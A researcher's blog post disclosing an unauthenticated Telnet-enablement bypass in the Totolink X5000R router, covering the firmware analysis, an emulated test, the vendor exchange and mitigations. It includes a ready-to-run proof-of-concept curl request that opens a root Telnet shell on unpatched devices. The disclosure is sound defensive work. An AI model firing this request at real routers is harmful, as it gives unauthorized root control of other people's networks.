CVE-2025-13184 - TOTOLINK X5000R (AX1800 router) Authentication Bypass

Hacking By Doing
2 days ago
3 min read

Updated: 6 hours ago

While researching the Totolink X5000R (AX1800 Wireless Router).

I found a classic case of a critical authentication bypass that allows anyone on the local network (and potentially WAN, if exposed) to enable Telnet and gain full root privileges.

Today is the public disclosure date coordinated with CERT/CC, so here is the full technical breakdown of CVE-2025-13184.

The Target

Device: Totolink X5000R
Firmware: V9.1.0u.6369_B20230113 (Latest as of Oct 2025)
Architecture: MIPS32 Little-Endian
Vulnerability: Unauthenticated Remote Telnet Enablement

Static Analysis: The "Logic" Bug

I started by extracting the firmware using binwalk and loading the CGI binaries into Ghidra. The web server logic is handled primarily by a binary called cstecgi.cgi.

When analyzing the request handling flow, I noticed something interesting in the main function. Usually, you expect a router to check if a user is logged in before parsing specific actions.

However, in cstecgi.cgi, the code checks for the query parameter action=telnet (and a few others like upload) before it reaches the loginAuth function.

Here is the simplified logic I reconstructed from the decompilation:

// Pseudocode of the vulnerability
if (strstr(query_string, "action=telnet") != NULL) {
    // Proceed to telnet handler immediately
    // BYPASSING authentication check!
    handle_telnet(query_string);
} else {
    // Perform standard authentication
    loginAuth(); 
}

This means if you send a request with action=telnet, the router skips the login check entirely.

The "Date Gate"

Inside the Telnet handler, there is a check, but it’s not a cryptographic one. It’s a date check.

To successfully enable Telnet, the request requires a code parameter.

The binary compares this code against the system's current date in the format %m%d%Y (Month, Day, Year).

The "password" to unlock the root shell isn't a secret key, it's basically looking at a calendar.

The handler expects:

enable=1
password= (This compares against telnet_key_custom in NVRAM. On a factory-default device, this is empty, so a blank password works).
code= (The current date).

Dynamic Verification (Emulation)

I validated this using FirmAE and QEMU to emulate the router.

One funny side effect of emulation is that the system clock usually lacks an NTP server or RTC, so it defaults to the build date or a hardcoded past date.

In my emulation environment, the router believed it was October 6, 2015.

Once I adjusted my exploit to match the router's internal date, the server responded with HTTP/1.1 200 OK and {"errcode": 0, "errmsg": "OK"}.

Immediately after sending the packet, nmap confirmed port 23 (Telnet) was open.

The Proof of Concept

This single curl command is all it takes to enable the backdoor on a default device:

# Get the router's date (or guess today's date on a live device)
ROUTER_IP="192.168.0.1"
CODE=$(date +%m%d%Y) 

# Trigger the bypass
curl "http://${ROUTER_IP}/cgi-bin/cstecgi.cgi?action=telnet&enable=1&password=&code=${CODE}"

Once executed, you can simply telnet 192.168.0.1 and log in. Since it drops you into a root shell, game over.

The Vendor Response

I reported this to Totolink via the standard channels and later coordinated through CERT/CC (VINCE Case VU#821724).

Totolink's support team initially responded stating "the telnetd service still requires the Telnet password to be enabled."

They misunderstood the vulnerability. The issue isn't just about logging into Telnet, it's about an unauthenticated user being able to start a critical system service that shouldn't be exposed.

Furthermore, on many setups, the default root password is weak or nonexistent, turning this into a full RCE chain.

Despite my clarifications, no patch was provided before the disclosure deadline.

Remediation

Since there is currently no firmware patch available from the vendor, I recommend the following mitigations:

Network Segmentation: Treat this router as untrusted. Do not allow it to expose its web interface to the WAN.
Monitor Port 23: Set up alerts for any traffic on TCP/23 inside your network.
Alternative Firmware: If you are comfortable with embedded tinkering, the X5000R hardware is supported by the OpenWrt community. Flashing OpenWrt eliminates this vulnerability entirely (and gives you a much better router).